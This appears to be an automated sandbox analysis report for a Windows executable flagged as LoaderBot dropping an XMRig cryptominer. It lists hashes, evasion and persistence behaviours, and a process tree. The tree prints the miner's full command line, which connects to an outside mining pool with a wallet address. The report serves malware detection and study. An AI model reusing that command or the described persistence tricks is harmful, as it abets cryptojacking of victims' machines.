Analysis
-
max time kernel
122s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
07-01-2025 19:54
General
-
Target
JaffaCakes118_76405f0aba384688fddaf31a294f88b8.exe
-
Size
5.1MB
-
MD5
76405f0aba384688fddaf31a294f88b8
-
SHA1
97ab2bdce4e1089dce058fbe38cd17fb6f11cc30
-
SHA256
db49ee22aaa915add5f012d2070d32ea2e50c2df78689754903a27430f22bf08
-
SHA512
e6e6a9f51f191682f5f4cdefb8d2a6cbb881d32c8ce18495fd0e4a79f3efdd2106f22d02de6ddcc59fde50a6dc55ee4c2312c21cededa8dcad65d4968e81a2af
-
SSDEEP
98304:q60IvDPNonUKTcfwgrhHwSY6wc7A5wmlcLnR7ck57kccPvJYq+U:q6tLSUacIIhHwS3weOjcjR4okc3BU
Malware Config
Signatures
-
LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
-
Loaderbot family
-
Xmrig family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
-
LoaderBot executable 2 IoCs
-
XMRig Miner payload 16 IoCs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 1 IoCs
-
Executes dropped EXE 2 IoCs
-
Themida packer 2 IoCs
Detects Themida, an advanced Windows software protection system.
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks whether UAC is enabled 1 TTPs 1 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: RenamesItself 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 5 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_76405f0aba384688fddaf31a294f88b8.exe"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_76405f0aba384688fddaf31a294f88b8.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 48AoW6ZkJwHaschLzriiTXYMYsG9gGxQR9gTWpEQSZALMf7fjwBYvxnCQ12EhhuJ1PDv6Z7ZsT4wnYdXqLPT8STQHmk8chR -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 48AoW6ZkJwHaschLzriiTXYMYsG9gGxQR9gTWpEQSZALMf7fjwBYvxnCQ12EhhuJ1PDv6Z7ZsT4wnYdXqLPT8STQHmk8chR -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3.9MB
MD502569a7a91a71133d4a1023bf32aa6f4
SHA10f16bcb3f3f085d3d3be912195558e9f9680d574
SHA2568d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322
-
Filesize
11.5MB
-
Filesize
80KB
-
Filesize
11.5MB
-
Filesize
960KB
-
Filesize
960KB
-
Filesize
960KB
-
Filesize
960KB
-
Filesize
12.6MB
-
Filesize
12.6MB
-
Filesize
12.6MB
-
Filesize
960KB
-
Filesize
4KB
-
Filesize
408KB
-
Filesize
960KB
-
Filesize
960KB
-
Filesize
4KB
-
Filesize
960KB
-
Filesize
12.6MB
-
Filesize
960KB
-
Filesize
960KB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB
-
Filesize
11.5MB